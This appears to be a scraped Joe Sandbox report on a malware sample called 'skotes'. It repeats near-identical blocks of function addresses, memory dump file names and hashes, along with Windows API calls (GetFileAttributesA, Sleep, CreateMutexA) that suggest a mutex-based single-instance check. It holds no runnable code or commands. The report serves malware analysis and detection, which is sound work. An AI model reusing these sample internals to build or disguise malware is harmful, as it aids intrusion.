Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 5523723503398ca4e6d779fe501636dbbe2cf286682024b8ab64068fccd86e34
Instruction ID: 2e18d62ac128edc00fe0c79862f68a13b99d3768f73a724d525342ea2f781714
Opcode Fuzzy Hash: 5523723503398ca4e6d779fe501636dbbe2cf286682024b8ab64068fccd86e34
Instruction Fuzzy Hash: 013135B17542089BEB18DB68DD8877DBF76BF81310F208618E5189B3D6C77A9A808753

Function 005FA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA41B
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 91ba75b872c334c4bee7d2352f0b4a28808001c268525f3de3cab60016de883e
Instruction ID: c614dacbd666619f9e5c0756238a378cee1497fcbd0ede385859f1efc3550c18
Opcode Fuzzy Hash: 91ba75b872c334c4bee7d2352f0b4a28808001c268525f3de3cab60016de883e
Instruction Fuzzy Hash: 283106717502089BEB18EBB8D98DB7DBB66EF81710F20421CE1189B3D6D7B949808767

Function 005FA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA550
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: ec3fa0ec5cd663b45cc75c70bc381a7b6e184758bba7b33bb41937502c28ed3a
Instruction ID: 658ddf43d2f0815808b1a1743fdad17668ffd105945420064ea0b6f203e9e62d
Opcode Fuzzy Hash: ec3fa0ec5cd663b45cc75c70bc381a7b6e184758bba7b33bb41937502c28ed3a
Instruction Fuzzy Hash: 303124B1B101088BEB08DB78DDC9B7DBB62AFC5314F248618E5189B3D6C77989808717

Function 005FA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA685
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 972216c69696341f8d083e1aa56eaef2a9d317ffc054bf26c9bcd159155d590b
Instruction ID: 8dc4bfb3f3f0012cb68a3bc947e1490b952d1d69ddd5f8c9003f117240773675
Opcode Fuzzy Hash: 972216c69696341f8d083e1aa56eaef2a9d317ffc054bf26c9bcd159155d590b
Instruction Fuzzy Hash: 653115B17142088BEB08EB78DD89B7DBF72EF85310F248618E5189B3D6C77949808757

Function 005FA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA7BA
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 06bfb6dded7d4d6d574dbfab438fa5c54cf85600f7bc7f4f05582fbd39efd028
Instruction ID: d9617a0c7fd44f3197e08fb1bc7ee7034e117dbc7d13b890df6e0eca794da22e
Opcode Fuzzy Hash: 06bfb6dded7d4d6d574dbfab438fa5c54cf85600f7bc7f4f05582fbd39efd028
Instruction Fuzzy Hash: 903115B1710108CBEB08DB78DD89B7DBF62EF85710F208618E5189B3D6D7794A818753

Function 005FA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: ef74659c7f9eed7f21717eb8ed540f42c984db636ac6d00da8c80e9f79d2ddfd
Instruction ID: 677c5a640e4e5321eed62f31aa0c7dfa892a70a77ca766fb174c8e558b6f31ac
Opcode Fuzzy Hash: ef74659c7f9eed7f21717eb8ed540f42c984db636ac6d00da8c80e9f79d2ddfd
